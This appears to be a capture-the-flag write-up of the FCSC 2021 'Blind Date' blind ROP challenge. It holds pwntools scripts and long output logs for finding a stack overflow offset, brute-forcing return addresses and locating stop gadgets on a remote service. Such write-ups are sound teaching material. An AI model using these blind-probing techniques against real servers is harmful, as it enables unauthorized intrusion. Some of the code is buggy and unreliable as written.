[FCSC 2021 - pwn] Blind Date
Blind Date (489 pts)
Une société souhaite créer un service en ligne protégeant les informations de ses clients. Pouvez-vous leur montrer qu’elle n’est pas sûre en lisant le fichier flag.txt sur leur serveur ? Les gérants de cette société n’ont pas souhaité vous donner ni le code source de leur solution, ni le binaire compilé, mais ils vous proposent uniquement un accès distant à leur service.
nc challenges2.france-cybersecurity-challenge.fr 4008
Blind Date is a blind rop challenge I did during the FCSC event. So, no source code is provided, we juste have a netcat to which we can interact.
To solve this challenge I juste read carefully this paper and applied one per one the techniques described.
Find the right offset
The first thing to do is to find from which offset the binary crashes, to do so I developped a small script:
#!/usr/bin/python3
from pwn import *
def start():
return remote("challenges2.france-cybersecurity-challenge.fr", 4008)
def jmp(av):
io = start()
io.write(av)
return io.recvall(timeout=5.0)
def find_padding(p=b""):
padding = p + b"\x90"
print(f"[*] sending: {padding}")
resp = jmp(padding)
print(f"[*] recv: {resp}")
while b"Hello you.\nWhat is your name ?\n>>> Thanks " + padding in resp:
return find_padding(p=padding)
return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address / canary / triggering a crash
print(len(find_padding()))
It’s basically sending checking if the right string is always received, and when it’s not the case it assumes the remote program crashed and return the corresponding padding. We do not check to see if it prints Bye!
right after the Thanks input
because it sounds to be a puts which prints NULL byte terminated strings which makes that we can overlap some local pointers and print them like below:
$ ./solve.py
[*] sending: b'\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90Bye!\n'
[*] sending: b'\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x907:EL\xd3\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\xda5r^\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b"Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'\xad\xe9\x7fBye!\n"
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd6\x97\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc1\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc0\xe3\xb0\xff\xff\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc6\x15\x12\xfc\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x05\x1e\xfc\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9a\xfe\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfd\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe0\xa8\x8bn\xfd\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7f\xc6\xd8\xfe\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcd\n\xfd\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x97\xfd\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfe\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x06@Bye!\n'
[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
[*] recv: b'Hello you.\nWhat is your name ?\n>>> '
40
So now we know that we need 40 bytes of padding before the crash.
Stack reading
Stack reading is just basically a bruteforce of some bytes to trigger the orginal behaviour of the program. It permits especially to leak a stack canary or some saved instruction pointers. But I directly tried to find some stop gadgets, to do so, I’m looking for something in the response. And the best stop gadget would be a unique pattern.
I developped this small function:
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def leak2(padding: str, leak1=b""):
for i in range(256):
buf = padding + leak1 + p8(i)
resp = try_jmp(buf)
# print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}")
if len(resp):
print(f"[{hex(int.from_bytes(padd(leak1+p8(i)), 'little'))}] Output: {resp}")
if len(leak1) < 8:
leak2(padding, leak1=leak1+p8(i))
else:
return leak1
continue
return leak1
leak2(b"a"*40)
Which returns:
$ ./solve.py
[0x5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x1a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'
[0x61a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'
[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'
[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'
[0x1b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x61b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x1d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'
[0x61d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'
[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'
[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'
STOP: <class 'KeyboardInterrupt'>
I stopped the script because it’s very long by it’s already interesting to see that it seems we overwrite directly the return address, which means there is no canary. Morevever according to the addresses of the valid gadgets we found, the binary is not PIE based and it sounds to be a x86 binary.
Stop gadget
We can optimize the search of stop gadgets by bruteforcing only the two less significant bytes about the base address: 0x400000
, which gives this:
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def leak2_opti(padding: str):
base = 0x400000
for i in range(0x2000):
buf = padding + p64(base+i)
resp = try_jmp(buf)
# print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}")
if len(resp):
print(f"[{hex(base+i)}] Output: {resp}")
continue
return leak1
leak2(b"a"*40)
Which prints:
$ ./solve.py
[0x4004cc] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x04@'
[0x4004cd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcd\x04@'
[0x4004dd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x04@'
[0x400550] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x05@'
[0x400560] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400562] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400563] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400565] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400566] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaf\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400567] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400569] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai\x05@Hello you.\nWhat is your name ?\n>>> '
[0x40056d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x05@Hello you.\nWhat is your name ?\n>>> '
[0x40056e] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan\x05@Hello you.\nWhat is your name ?\n>>> '
[0x40056f] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaao\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400570] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400576] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400577] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x05@Hello you.\nWhat is your name ?\n>>> '
[0x400596] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x05@'
[0x400597] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x97\x05@'
[0x40059c] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9c\x05@'
[0x40059d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9d\x05@'
[0x4005a0] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0\x05@'
[0x4005a1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa1\x05@'
[0x4005a3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\x05@'
[0x4005a5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa5\x05@'
[0x4005b4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05@'
[0x4005b7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb7\x05@'
[0x4005b8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x05@'
[0x4005c0] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc0\x05@'
[0x4005d6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x05@'
[0x4005d7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd7\x05@'
[0x4005dd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x05@'
[0x4005de] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xde\x05@'
[0x4005e1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe1\x05@'
[0x4005e2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x05@'
[0x4005e4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe4\x05@'
[0x4005e5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x05@'
[0x4005e7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe7\x05@'
[0x4005e8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe8\x05@'
[0x4005eb] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xeb\x05@'
[0x4005ec] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x05@'
[0x4005ee] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xee\x05@'
[0x4005ef] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\x05@'
[0x4005f1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf1\x05@'
[0x4005f3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf3\x05@'
[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'
[0x400608] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x08\x06@'
[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'
[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'
[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'
[0x400622] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\x06@'
[0x400650] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x06@'
[0x400656] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x06@What is your name ?\n>>> '
[0x400657] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaW\x06@What is your name ?\n>>> '
[0x400658] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x06@What is your name ?\n>>> '
[0x40065a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZ\x06@What is your name ?\n>>> '
[0x40065e] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^\x06@What is your name ?\n>>> '
[0x400663] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x06@\x84(\xad\xfb\n>>> '
[0x400668] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@>>> '
[0x40066d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x06@\x84(\xad\xfb'
[0x400672] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaar\x06@\x84(\xad\xfb'
[0x400677] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x06@'
[0x400681] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x81\x06@'
[0x4006b4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x06@Hello you.\nWhat is your name ?\n>>> '
[0x4006b5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb5\x06@Hello you.\nWhat is your name ?\n>>> '
[0x4006b6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x06@Hello you.\nWhat is your name ?\n>>> '
[0x4006b8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x06@Hello you.\nWhat is your name ?\n>>> '
[0x4006bd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbd\x06@\x84(\xad\xfb\nWhat is your name ?\n>>> '
